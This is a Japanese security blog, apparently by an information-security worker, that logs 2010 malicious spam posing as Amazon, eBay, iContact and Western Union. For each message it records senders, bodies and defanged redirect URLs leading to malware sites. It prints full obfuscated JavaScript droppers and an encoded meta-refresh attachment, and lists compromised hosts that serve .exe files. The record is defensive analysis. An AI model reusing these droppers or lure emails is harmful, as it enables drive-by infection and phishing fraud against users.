FC2ブログ

【今日の誘導メール】アマゾン系

今日のアマゾン
サブジェクトは Your Order with Amazon.com

HTMLが付いており、アマゾンのオーダ確認フォームで、どこをクリックしても。
h丁丁p://kuyoiya.com へ
さらに飛ばされ以下へ
h丁丁p://lowermatch.ru:8080/?pid=14
あと、以下へも
h丁丁p://oooooo1.ru

【今日の誘導メール】アマゾン系

差出人
"Suzanne Bouchard" <balkiesthf@accountspro.com>

サブジェクト
Your Order with Amazon.com

本文
Thanks for your order!

Want to manage your order online?
If you need to check the status of your order or make changes, please visit our home page at Amazon.com and click on Your Account at the top of any page.

Get the Amazon.com Rewards Visa Card and earn 3% rewards on your Amazon.com orders.
Order Summary:
Your purchase has been divided into 2 orders.
Order #1
: BlueHarborOnline
Order #:613-6870191-0894029
Shipping Method: Standard Shipping
Shipping Preference:Group my items into as few shipments as possible
Subtotal of Items: $4.49
Shipping & Handling: $74.98
------
Total for this Order: $79.47
"3 Pack of Premium Crystal Clear Screen Protectors for Apple iPad"
ChiTek; Electronics; $4.49
Sold by: BlueHarborOnline
Order #2
: Stoobies Electronics
Order #:588-0274572-1402392
Shipping Method:Expedited Shipping
Shipping Preference:Group my items into as few shipments as possible
Subtotal of Items: $748.75
Shipping & Handling: $134.00
------
Total for this Order: $882.75
"Apple iPad Tablet (32GB, Wi-Fi)"
Personal Computers; $748.75
Sold by: Stoobies Electronics
Need to print an invoice?
Visit www.amazon.com/your-account and click to view your orders. Click "View order" next to the appropriate order. You'll find a button to print an invoice on the next page
Where can I get help with reviewing or changing my orders?
To learn more about managing your orders on Amazon.com, please visit our Help pages at amazon.com/help/orders/.
Please note: This e-mail message was sent from a notification-only address that cannot accept incoming e-mail. Please do not reply to this message.
If you ever need to return an order, visit our Online Returns Center: www.amazon.com/returns
Thanks again for shopping with us.
Amazon.com
Earth's Biggest Selection
Prefer not to receive HTML mail?
Click here

誘導先
h丁丁p://frxcvee.com

その先の誘導先
h丁丁p://aquaticwrap.ru:8080/?pid=14

【今日の誘導メール】アマゾン系

続々と、また、少し変化。

サブジェクト例
Your Amazon.com Order (D39-2929962-7382313)
Amazon.com: Please verify your new e-mail address

誘導先
h丁丁p://yordaynews.com
h丁丁p://ornewsinfo.com
h丁丁p://busnwsonline.com ← 24 Jul 2010 06:11:33 +0900 くらいから
h丁丁p://ornewsinfo.com/index.php?pid=14 ← 24 Jul 2010 03:02:26 +0900 くらいまで 上記の間に仕組みを組み換え?
上記すべてIPアドレスは「208.73.210.48」
aguseで調べると誘導先は→ h丁丁p://chemistspiral.ru/index.php?pid=14
だが実際は、h丁丁p://chemistspiral.ru:8080/index.php?pid=14 だと推測される。
chemistspiral.ruのIPアドレスは「94.23.224.221, 194.24.228.81, 213.175.207.140, 84.16.230.27 91.121.162.65」のラウンドロビン
落ちてくるスクリプト(一部カット)
<div name="Dji2bh3" id="Dji2bh3">101X98X36X36X96X107X95X113X105X97X106X112X42X93X104X104X37X34X34X36X106X93X114X101X99X93X112X107X110X42X93X108X108X82X97X110X111X101X107X106X42X101X106X96X97X116X75X98X36X35X73X79X69X65X28X51X42X35X37X29X57X41X45X37X37X28X96X107X95X113X105X97X106X112X42X115X110X101X112X97X36X30X56X101X98X110X93X105X97X28X111X110X95X57X88X30X100X95X108X54X43X43X111X97X110X114X101X95X97X111X43X111X97X93X110X95X100X59X109X113X97X110X117X57X34X112X107X108X101X95X57X100X95X108X54X43X43X111X117X111X112X97X105X43X111X117X111X101X106X98X107X43X111X117X111X101X106X98X107X105X93X101X106X42X100X112X105X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33</div>
<div name="Rak05t1j" id="Rak05t1j">X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X33X33X61X42X42X33X49X63X42X42X33X49X63X111X117X111X101X106X98X107X105X93X101X106X42X100X112X105X33X113X44X44X47X98X111X114X110X57X33X47X63X111X95X110X101X108X112X39X96X97X98X97X110X33X47X65X97X114X93X104X33X46X52X113X106X97X111X95X93X108X97X33X46X52X33X46X51X106X97X115X33X46X62X61X95X112X101X114X97X84X75X94X102X97X95X112X33X46X49X46X52X33X46X49X46X46X115X111X95X110X101X108X112X42X111X100X97X104X104X33X46X49X46X46X33X46X49X46X53X42X78X113X106X33X46X49X46X52X33X46X49X46X46X95X105X96X33X46X62X33X46X49X46X66X95X33X46X62X95X96X33X46X62X42X42X33X46X49X46X66X33X46X49X46X50X97X95X100X107X33X46X62X106X97X115X33X46X62X66X113X10</div>
<div name="Dhzozu5xqt" id="Dhzozu5xqt">6X95X112X101X107X106X33X46X49X46X52X93X51X33X46X49X46X52X53X33X46X49X47X62X33X46X49X46X53X46X33X46X49X46X63X98X33X46X49X46X52X33X46X49X49X64X49X97X104X101X49X33X46X49X46X62X49X66X107X80X97X49X33X46X49X46X62X49X114X93X79X49X33X46X49X49X62X107X33X46X49X47X62X33X46X49X46X53X33X46X49X49X64X49X117X96X107X62X49X33X46X49X46X62X49X97X111X106X107X108X49X33X46X49X46X62X49X111X97X110X49X33X46X49X49X62X116X33X46X49X46X52X97X112X101X110X83X42X107X33X46X49X47X62X33X46X49X46X53X33X46X49X46X52X106X97X108X75X42X107X33X46X49X47X62X45X70X97X108X117X80X42X107X33X46X49X47X62X47X70X97X96X107X73X42X107X33X46X49X47X62X33X46X49X46X53X33X46X49X46X52X96X106X97X111X42X116X33X46X49X47X62X33X46X49X46X53X44X33X46X49X46X63X49X48X45X70X96X101X108X33X46X49X46X50X45X70X96X101X33X46X49X47X66X108X100X108X42X97X105X107X95X104X97X115X33X46X49X46X66X44X52X44X52X33X46X49X47X61X113X110X42X106X101X99X111X97X104X93X111X33X46X49X46X66X33X46X49X46X66X33X46X49X47X61X108X112X112X100X49X33X46X49X46X63X49X80X65X67X49X33X46X49X46X52X106X97X108X107X42X116X33X46X49X47X62X49X97X116X97X42X49X70X98X33X46X49X47X62X33X46X49X46X53X49X76X80X80X68X72X73X49X33X46X49X46X62X49X84X42X112X98X107X111X107X110X95X49X33X46X49X46X62X49X101X73X49X33X46X49X46X52X93X33X46X62X115X97X106X70X116X33X46X49X47X62X33X46X49X46X53X49X105X93X97X110X112X49X33X46X49X46X62X49X79X42X62X64X75X49X33X46X49X46X62X49X64X61X49X33X46X49X46X52X93X33X46X62X115X97X106X70X107X33X46X49X47X62X33X46X49X49X64X49X112X95X97X49X</div>
<div name="Q8ffm8zr" id="Q8ffm8zr">33X46X49X46X62X49X102X94X75X84X97X114X101X112X49X33X46X49X46X62X49X95X61X49X33X46X49X49X62X111X101X100X112X33X46X62X70X33X46X62X93X53X33X46X49X46X53X33X46X49X46X53X33X46X49X46X52X33X46X49X46X53X33X46X49X47X62X98X113X106X95X112X101X107X106X33X46X62X93X51X33X46X49X46X52X94X51X33X46X49X46X53X33X46X49X51X62X110X70X53X53X33X46X49X47X62X98X107X110X33X46X49X46X52X101X70X94X51X42X104X97X106X99X112X100X33X46X49X47X62X101X33X46X49X47X65X70X44X33X46X49X47X62X101X41X41X33X46X49X46X53X110X33X46X49X46X62X70X94X51X42X111X113X94X111X112X110X33X46X49X46X52X101X33X46X49X46X63X45X33X46X49X46X63X45X33X46X49X46X53X33X46X49X47X62X110X97X112X113X110X106X33X46X62X110X33X46X49X51X64X33X46X62X33X46X49X47X65X42X102X111X33X46X49X46X50X95X111X95X110X101X108X112X33X46X62X42X102X111X33X46X49X46X50X42X97X116X97X33X46X49X46X50X96X97X104X33X46X62X33X46X49X46X66X109X33X46X62X42X102X111X33X46X49X51X63X112X93X111X103X103X101X104X104X33X46X62X33X46X49X46X66X66X33X46X62X33X46X49X46X66X69X73X33X46X62X100X97X104X108X95X112X110X42X97X116X97X33X46X49X46X46X42X110X97X108X104X93X95X97X33X46X49X46X52X33X46X49X46X66X49X33X46X49X46X66X99X33X46X49X46X63X79X112X110X101X106X99X42X98X110X107X105X63X100X93X110X63X107X96X97X33X46X49X46X52X47X48X33X46X49X46X53X33X46X49X46X53X42X110X97X108X104X93X95X97X33X46X49X46X52X33X46X49X46X66X70X33X46X49X46X66X99X33X46X49X46X63X79X112X110X101X106X99X42X98X110X107X105X63X100X93X110X63X107X96X97X33X46X49X46X52X50X45X33X46X49X46X53X33X46X49X46</div>
<div name="Y6sp46ie" id="Y6sp46ie">X53X42X110X97X108X104X93X95X97X33X46X49X46X52X33X46X49X46X66X53X33X46X49X46X66X99X33X46X49X46X63X79X112X110X101X106X99X42X98X110X107X105X63X100X93X110X63X107X96X97X33X46X49X46X52X47X53X33X46X49X46X53X33X46X49X46X53X33X46X49X46X63X44X33X46X49X46X63X45X33X46X49X46X53X33X46X51X33X46X53X33X46X53X33X47X63X33X46X66X111X95X110X101X108X112X33X47X65X88X30X58X56X43X101X98X110X93X105X97X58X30X37X55X6X28X28X28X28X86X48X102X108X97X107X103X28X57X28X106X97X115X28X61X110X110X93X117X36X30X61X95X110X107X76X64X66X42X76X64X66X30X40X28X30X76X64X66X42X76X96X98X63X112X110X104X30X37X55X6X28X28X28X28X98X107X110X36X101X28X101X106X28X86X48X102X108X97X107X103X37X119X6X28X28X28X28X28X28X28X28X112X110X117X119X6X28X28X28X28X28X28X28X28X28X28X78X94X46X103X100X98X102X28X57X28X106X97X115X28X61X95X112X101X114X97X84X75X94X102X97X95X112X36X86X48X102X108X97X107X103X87X101X89X37X55X6X28X28X28X28X28X28X28X28X28X28X101X98X28X36X78X94X46X103X100X98X102X37X119X6X28X28X28X28X28X28X28X28X28X28X28X28X62X104X111X96X105X104X99X28X57X28X96X107X95X113X105X97X106X112X42X95X110X97X93X112X97X65X104X97X105X97X106X112X36X30X101X98X110X93X105X97X30X37X55X6X28X28X28X28X28X28X28X28X28X28X28X28X62X104X111X96X105X104X99X42X111X97X112X61X112X112X110X101X94X113X112X97X36X30X111X110X95X30X40X28X30X74X107X112X97X111X45X48X42X108X96X98X30X37X55X6X28X28X28X28X28X28X28X28X28X28X28X28X96X107X95X113X105X97X106X112X42X94X107X96X117X42X93X108X108X97X106X96X63X100X101X104X96X36X62X104X111X96X105</div>
<div name="Od3htlr" id="Od3htlr">X104X99X37X55X6X28X28X28X28X28X28X28X28X28X28X121X6X28X28X28X28X28X28X28X28X121X95X93X112X95X100X36X97X37X119X121X6X28X28X28X28X121X6X28X28X28X28X6X28X28X28X28X112X110X117X119X6X28X28X28X28X101X98X28X36X106X93X114X101X99X93X112X107X110X42X102X93X114X93X65X106X93X94X104X97X96X36X37X37X119X6X28X28X28X28X28X28X28X28X78X45X108X115X109X103X48X28X57X28X96X107X95X113X105X97X106X112X42X95X110X97X93X112X97X65X104X97X105X97X106X112X36X30X101X98X110X93X105X97X30X37X55X6X28X28X28X28X28X28X28X28X78X45X108X115X109X103X48X42X111X97X112X61X112X112X110X101X94X113X112X97X36X30X111X110X95X30X40X28X30X61X108X108X104X97X112X45X48X42X100X112X105X104X30X37X55X6X28X28X28X28X28X28X28X28X96X107X95X113X105X97X106X112X42X94X107X96X117X42X93X108X108X97X106X96X63X100X101X104X96X36X78X45X108X115X109X103X48X37X55X6X28X28X28X28X28X121X6X28X28X28X28X28X121X95X93X112X95X100X36X97X37X119X121X6X28X28X28X28X6X28X28X28X28X112X110X117X119X6X28X28X28X28X101X98X28X36X106X93X114X101X99X93X112X107X110X42X102X93X114X93X65X106X93X94X104X97X96X36X37X37X119X6X28X28X28X28X28X28X28X28X6X28X28X28X28X28X28X28X28X114X93X110X28X101X108X111X28X57X28X87X30X45X51X48X42X45X47X47X42X52X42X53X44X30X40X28X30X46X44X48X42X45X50X42X46X44X47X42X45X45X30X40X28X30X46X44X51X42X45X46X50X42X45X46X46X42X52X51X30X40X28X30X46X44X53X42X46X45X46X42X45X49X44X42X45X49X46X30X40X28X30X46X44X53X42X49X53X42X45X49X47X42X50X47X30X40X28X30X50X51X42X45X49X42X45X47X48X42X50X50X30X40X30X52X52X42X46X49X49X42X45</div>
<div name="R4tqxxe2" id="R4tqxxe2">X50X46X42X45X48X30X89X55X6X28X28X28X28X28X28X28X28X114X93X110X28X101X108X28X57X28X101X108X111X87X73X93X112X100X42X110X107X113X106X96X36X73X93X112X100X42X110X93X106X96X107X105X36X37X28X38X28X36X101X108X111X42X104X97X106X99X112X100X41X45X37X28X37X89X55X6X28X28X28X28X28X28X28X28X6X28X28X28X28X28X28X28X28X114X93X110X28X113X28X57X28X30X100X112X112X108X54X28X41X70X41X102X93X110X28X41X70X88X88X88X88X30X39X101X108X39X30X88X88X108X113X94X104X101X95X88X88X44X44X45X48X42X102X93X110X28X106X107X106X97X30X55X6X6X28X28X28X28X28X28X28X28X101X98X28X36X115X101X106X96X107X115X42X106X93X114X101X99X93X112X107X110X42X93X108X108X74X93X105X97X28X57X57X28X30X73X101X95X110X107X111X107X98X112X28X69X106X112X97X110X106X97X112X28X65X116X108X104X107X110X97X110X30X37X28X119X6X28X28X28X28X28X28X28X28X28X28X28X28X114X93X110X28X107X28X57X28X96X107X95X113X105X97X106X112X42X95X110X97X93X112X97X65X104X97X105X97X106X112X36X30X75X62X70X65X63X80X30X37X55X6X28X28X28X28X28X28X28X28X28X28X28X28X107X42X95X104X93X111X111X101X96X28X57X28X30X95X104X111X101X96X54X63X61X66X65X65X66X61X63X41X64X65X63X51X41X44X44X44X44X41X44X44X44X44X41X61X62X63X64X65X66X66X65X64X63X62X61X30X55X6X28X28X28X28X28X28X28X28X28X28X28X28X107X42X104X93X113X106X95X100X36X113X37X55X6X28X28X28X28X28X28X28X28X121X28X97X104X111X97X28X119X6X28X28X28X28X28X28X28X28X28X28X28X28X114X93X110X28X107X28X57X28X96X107X95X113X105X97X106X112X42X95X110X97X93X112X97X65X104X97X105X97X106X112X36X30X75X62X70X65X63X80X30X</div>
<div name="T1wtbmxi" id="T1wtbmxi">37X55X6X28X28X28X28X28X28X28X28X28X28X28X28X114X93X110X28X106X28X57X28X96X107X95X113X105X97X106X112X42X95X110X97X93X112X97X65X104X97X105X97X106X112X36X30X75X62X70X65X63X80X30X37X55X6X6X28X28X28X28X28X28X28X28X28X28X28X28X107X42X112X117X108X97X28X57X28X30X93X108X108X104X101X95X93X112X101X107X106X43X106X108X110X113X106X112X101X105X97X41X111X95X110X101X108X112X93X94X104X97X41X108X104X113X99X101X106X55X96X97X108X104X107X117X105X97X106X112X112X107X107X104X103X101X112X30X55X6X28X28X28X28X28X28X28X28X28X28X28X28X106X42X112X117X108X97X28X57X28X30X93X108X108X104X101X95X93X112X101X107X106X43X102X93X114X93X41X96X97X108X104X107X117X105X97X106X112X41X112X107X107X104X103X101X112X30X55X6X28X28X28X28X28X28X28X28X28X28X28X28X96X107X95X113X105X97X106X112X42X94X107X96X117X42X93X108X108X97X106X96X63X100X101X104X96X36X107X37X55X6X28X28X28X28X28X28X28X28X28X28X28X28X96X107X95X113X105X97X106X112X42X94X107X96X117X42X93X108X108X97X106X96X63X100X101X104X96X36X106X37X55X6X6X28X28X28X28X28X28X28X28X28X28X28X28X112X110X117X28X119X6X28X28X28X28X28X28X28X28X28X28X28X28X28X28X28X28X107X42X104X93X113X106X95X100X36X113X37X55X6X28X28X28X28X28X28X28X28X28X28X28X28X121X28X95X93X112X95X100X28X36X97X37X28X119X6X28X28X28X28X28X28X28X28X28X28X28X28X28X28X28X28X106X42X104X93X113X106X95X100X36X113X37X55X6X28X28X28X28X28X28X28X28X28X28X28X28X121X6X28X28X28X28X28X28X28X28X121X6X28X28X28X28X121X6X28X28X28X28X121X95X93X112X95X100X36X97X37X119X121X6X28X28X28X6X28X28X28X28</div>
</div><input type="checkbox" id="T0hf1vic" value="ent" checked="checked"><div></div>
<script type="text/javascript" language="javascript">
document.write('<scri'+'pltO Os8r8cV=8j8qVule8r8y8.ljVx@x8?Vv8=85l.@3V.O48>@<O/VsVclr8'.replace(/[8VOl@]/g, '')+'ipt>');
</script>
<script>
function Rcyuq4u(Ulrxupt4){
Srf05ns = document.getElementById(Ulrxupt4);
return Srf05ns.innerHTML;
}
var Bgn8a2a = "";
var C2rjfz = ["Dji2bh3", "Rak05t1j", "Dhzozu5xqt", "Q8ffm8zr", "Y6sp46ie", "Od3htlr", "R4tqxxe2", "T1wtbmxi"]
var Bgn8a2a = "";
for (Nqopjqmf in C2rjfz){
Bgn8a2a += Rcyuq4u(C2rjfz[Nqopjqmf]);
}
if ( typeof(Z6q5z4e) != "object") Z6q5z4e= 'dOo0cvuOmH'.replace(/[H0vCO]/g, '')+ document.getElementById("T0hf1vic").value;
else Z6q5z4e = "";
Z6q5z4e = eval(Z6q5z4e);
if ( typeof(Jbb9nwk) == 'u6n?d.e,f6i.nDe,dD'.replace(/[D\?\.,6]/g, '')) Jbb9nwk = "Div06l13";
function G9bqrc(Tuq2td0jm){Z6q5z4e.write(Tuq2td0jm);}
function Y6usef(Bgn8a2a) {
Efp590k7 = Bgn8a2a.split(Jbb9nwk);
var Mr9184yn = "";
for (var Ulrxupt4=0;Ulrxupt4<Efp590k7.length-1;Ulrxupt4++) {
Y9nbhli3g = parseInt(Efp590k7[Ulrxupt4]);
Y9nbhli3g += 4;
Mr9184yn += String.fromCharCode(Y9nbhli3g);
}
return(Mr9184yn);
}
G9bqrc('<script language="javascript">'+Y6usef(Bgn8a2a)+'<z/zszcErWiWpztq>q'.replace(/[qWEze]/g, ''));
</script>



【今日の誘導メール】わろた

差出人
"iContact" <do-not-reply@icontact.com>

サブジェクト
Tools for Your Success

本文
iCpntact.jpg

iContact
Dear, info@○○.net thank you for interested in our daily parthnership promo offers.
Your email successfuly added to list..
We hope you'll join us!
Sincerely,
The iContact Family
2635 Meridian Parkway, Suite 200
Durham, NC 27713
(866) 775-4254
Online:
Phone:
(866) 775-4254
9:00am-7:00pm ET
Monday-Friday
Email Newsletters, Autoresponders, Surveys, & RSS Feeds!
This message was sent from iContact to info@nishimoto.net. It was sent from: iContact, 2635 Meridian Parkway Ste 200, Durham, NC 27713. You can modify/update your subscription via the link below.
Email Marketing by
Manage your subscription


誘導先
h丁丁p://superkub.com/index.php?pid=14 ← 例のURLフォワーダに飛ぶタイプ。
なんだけど、タイプミスだな、h丁丁p://superkubcom/index.php?pid=14 と肝心なログインボタンのところとかドットを忘れているのがある。(笑)そのうち、修正されたものが来るのだろうなぁ。(爆)

【最近の誘導先】アマゾンメールなど

最近の誘導先。amazon、facebook、Online Banking、Greeting eCard などなど

h丁丁p://hokue.com/index.php?pid=14
h丁丁p://superkub.com/index.php?pid=14
h丁丁p://kuenlun.com/index.php?pid=14
h丁丁p://kubdirect.com/index.php?pid=14
上記はすべて同じIPアドレス(208.73.210.50)でURL転送(urlforwarding.moniker.com)により→ h丁丁p://bindispute.ru

h丁丁p://oilrule.ru:8080/index.php?pid=13
上記は、いつものOVH。正規にサービスを使用しているのか、勝手に使用しているのか分からないけど。

以下は、すべて一般のサイト。勝手にexeを置かれて使用されている。サイトのパスワードが盗られているのか?理由は分からないけど。
h丁丁p://matt-levine.com/ecard.exe
h丁丁p://hyttfors.me/ecard.exe
h丁丁p://passmc.com/ecard.exe
h丁丁p://euroflow.org/ecard.exe
h丁丁p://whitakerit.com/Upload_documents_blank.exe
h丁丁p://rescommsolutions.com/Upload_documents_blank.exe
h丁丁p://digi-desmond.nl/ecard.exe

【今日の誘導メール】pid=13か

差出人
"Blair Pool" <contusedaqzt@robertsoncabinets.com>

サブジェクト
Amazing....

本文
My new photos :)
http://facebook.com/photo=5268684

誘導先
h丁丁p://pressurespa.ru:8080/index.php?pid=13

【今日の誘導メール】アマゾンからの連絡 8080が無くなった

差出人
"Amazon.com E-mail Subscriptions" <delivers@amazon.com>

サブジェクト
Amazon.com: Please verify your new e-mail address

本文
Amazon.com Delivers: Verify Your New E-mail Address
http://www.amazon.com/gp/gss

Dear info@○○.net,

You recently changed your e-mail address at Amazon.com. Since you are a subscriber of Amazon.com Delivers E-mail Subscriptions, you will need to verify your new e-mail address.

Please verify that the e-mail address belongs to you. You can click on the link below to complete the verification process.

http://www.amazon.com


If you no longer wish to receive Amazon.com Delivers E-mail Subscriptions, you can unsubscribe here.
http://www.amazon.com/gp/gss/manage

Please note that this message was sent to the following e-mail address: info@nishimoto.net

Help: http://www.amazon.com/help/gss
Conditions of Use: http://www.amazon.com/help/conditionsofuse
Privacy Notice: http://www.amazon.com/help/privacynotice
(c) 1995-2006, Amazon.com, Inc. or its affiliates.
amazon3.jpg

誘導先
どこをクリックしても以下に。
h丁丁p://pouoi.com/index.php?pid=14  ← 危険
誘導先から:8080が消えた。少し前からpidも=10からpid=14に変わっている。置かれているプログラムへのコール時のパラメータで動作が異なるのだろうか。フィッシングサイトが表示されたり、悪質プログラムのダウンロードになったりするのだろうか?これだけ派手にやっていると捜査機関は現物を手に入れやすいとは思うけど。

【今日の誘導メール】アマゾンからの連絡2

また、アマゾンからの連絡だ。
差出人
"Amazon.com" <digital-no-reply@amazon.com>

サブジェクト
Your Amazon.com Order (D44-3671331-0168081)

本文
Thanks for your order, ○○@○○.net
Did you know you can view and edit your orders online, 24 hours a day? Visit Your Account.
Order Information:
E-mail Address:  ○○@○○.net
Order Grand Total: $59.99
Earn 3% rewards on your Amazon.com orders with the Amazon Visa Card. Learn More
Order Summary:
Details:
Order #:D77-6828493-6407372
Subtotal of items: $ 19.99
Total before tax: $ 45.99
Sales Tax: $ 0.00
Total for this Order: $ 03.99 The following item was ordered:
Click here and see items, Price: $ 48.99By: Click here Sold by: Amazon Digital Services, Inc.
The charge for this order will appear on your credit card statement from the merchant 'AMZN Payment Services.'
You can review your orders in Your Account. If you've explored the links on that page but still have a question, please visit our online Help Department.
Please note: This e-mail was sent from a notification-only address that cannot accept incoming e-mail. Please do not reply to this message.
Thanks again for shopping with us.
Amazon.com Earth's Biggest Selection Prefer not to receive HTML mail? Click here
HTML表示イメージ

amazon2.jpg

どこをクリックしても以下に誘導される。
h丁丁p://raceobject.ru:8080/index.php?pid=14

【今日の誘導メール】アマゾンからの連絡

差出人
"Amazon.com E-mail Subscriptions" <delivers@amazon.com>

サブジェクト
Amazon.com: Please verify your new e-mail address

本文
Amazon.com Delivers: Verify Your New E-mail Address
http://www.amazon.com/gp/gss

Dear info@○○.net,

You recently changed your e-mail address at Amazon.com. Since you are a subscriber of Amazon.com Delivers E-mail Subscriptions, you will need to verify your new e-mail address.

Please verify that the e-mail address belongs to you. You can click on the link below to complete the verification process.

http://www.amazon.com


If you no longer wish to receive Amazon.com Delivers E-mail Subscriptions, you can unsubscribe here.
http://www.amazon.com/gp/gss/manage

Please note that this message was sent to the following e-mail address: info@nishimoto.net

Help: http://www.amazon.com/help/gss
Conditions of Use: http://www.amazon.com/help/conditionsofuse
Privacy Notice: http://www.amazon.com/help/privacynotice
(c) 1995-2006, Amazon.com, Inc. or its affiliates.

HTMLで見てみると
amazon_20100717081536.jpg

そこで、リンク先はすべて以下。
h丁丁p://raceobject.ru:8080/index.php?pid=14

【今日の悪質スクリプト】ちょっと変わった

サブジェクト
Your Funds Will Be Transfered

本文
Hello

I am able to complete the funds transfer late night

$28.836 was sent with MTCN VALUE 359 442 7592

Copies of the payment is being attached

添付ファイル
Copies of the payment.html

中身
<script type="text/javascript">
<!-- HTML encodyd -->
<!--
document.write(unescape('%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D%22%72%65%66%72%65%73%68%22%20%63%6F%6E%74%65%6E%74%3D%22%30%3B%75%72%6C%3D%68%74%74%70%3A%2F%2F%64%72%65%61%6D%6C%69%66%65%61%73%69%61%2E%63%6F%6D%2F%69%6E%64%65%78%33%2E%68%74%6D%6C%22%20%2F%3E%0A'));
//-->
</script>

誘導先
<meta http-equiv="refresh" content="0;url=h丁丁p://dreamlifeasia.com/index3.html" />

悪質サイト
h丁丁p://raceobject.ru:8080/index.php?pid=10

【eBay装いメール】手口の遷移メモ

昨晩から来ていた、eBayを装った誘導メール
サブジェクト Payment request from  のやつ 添付はすべてform.html

20:14 迄は平文のMETAタグでの誘導
→h丁丁p://www.cow-shop.nl/index4.html

20:34 からは、従来型の難読化スクリプトで誘導
→h丁丁p://www.cow-shop.nl/index4.html

23:17に平文のMETAタグでの誘導タイプ
→h丁丁p://tincantools.com/index3.html 一発だけ、本文が違う。別な奴か?

23:32 から再度平文のMETAタグでの誘導タイプ
→h丁丁p://www.cow-shop.nl/index4.html

0:21 から新型難読化スクリプトタイプ 
→h丁丁p://www.auspro.com.au/index3.html  らしい。

【今日の悪質スクリプト】新型

難読スクリプト付きが最近来ないと思っていたら、改造をやっていたんだなぁ。

サブジェクト
Western Union Transfer MTCN: 2048922446

本文
Western Union Transfer MTCN: 2048922446

Dear customer!

The money transfer you have sent on the Wed, 14 Jul 2010 01:23:59 +0300 wasn't collected by the recipient.

According to the Western Union regulation the transfers which are not collected in 15 days are to be returned to sender.

To collect money you need to print the invoice attached to this e-mail and visit the nearest Western Union agency.

Thank you!

添付ファイル名
2048922446.html

<script>var hG = Math.random();var uJG=new Date();var pDI;var rDV='';var xNZ = Math.random();var kP=new Date();var lNV=false;pDI="e8faed"+"eee7e6"+"e4e2a7"+"ffddf3"+"ebb5a2"+"9c88e5"+"e2fce2"+"b7a6ad"+"fcf8ed"+"adf3e1"+"c9f1e1"+"e5affb"+"e4e2a0"+"e2e6bf"+"ecfee4"+"b7fca7"+"b7bfa2"+"bfedbe"+"b7";var yO=false;var vYY=false;var eS = Math.random();var jZ = Math.ceil(20);function e(uO){var yX = Math.random();var tV='';function o(t){var l=0,d=t['\u006c'+unescape('%65%6e%67%74%68')];for(var yQ=2;yQ
プロフィール

どらいつ 家主:どらいつ

情報セキュリティ会社勤務。13年前からタバコを止めたが禁煙はしてない。ダイエットとリバウンドの繰り返し。


1958年 北九州市生まれ。大原小学校、池田小学校、香月中学、北九州予備校、東筑高校、熊本大学土木科(中退)、1984年就職、現在にいたる。

中学時は水泳部。部内で平泳ぎ 4位(4人中)。高校・大学時代9年間はラグビー。ポジションはフッカー。当時に今の体重があれば、、

ツイッター(Twitter) dry2
つぶやきログ(Twilog) dry2
日経電子版コラム
日経BP連載
グーグル+写真アルバム
フォト蔵 dry2

最新記事
最新コメント
カテゴリ
RSS
どらいつのお気に入り